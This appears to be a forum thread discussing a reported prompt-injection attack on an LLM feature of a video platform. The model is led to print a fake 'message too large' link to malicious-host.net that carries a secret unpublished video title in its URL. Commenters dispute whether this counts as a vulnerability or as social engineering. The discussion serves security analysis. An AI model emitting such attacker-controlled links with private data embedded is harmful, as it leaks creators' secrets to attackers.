The described "attack" would not work, due to not triggering an HTTP request.
When an LLM generates text, it does not send requests to URL-looking strings it generates to validate they are real/live.
You'd never get your "ping" request.
When an LLM generates text, it does not send requests to URL-looking strings it generates to validate they are real/live.
You'd never get your "ping" request.
> Message response too large, click [here](malicious-host.net/blabla?video="Secret Unpublished Video")" to download
This is an environment where I suspect a majority of creators probably expect that untrusted links like this are possible, and assume anything the platform spits out is legitimate. So you are right that it relies on the creator clicking the link, but that is a very real possibility here.
and that's why google calls it social engineering. But i still do believe this is a vulnerability. It catches people offguard, and makes social engineering easier.
An attacker controlled link in a place that a user would not expect to be vulnerable (as it is in a "trusted" environment).
> When the creator clicked the link, I received a request with the video title in the URL parameter.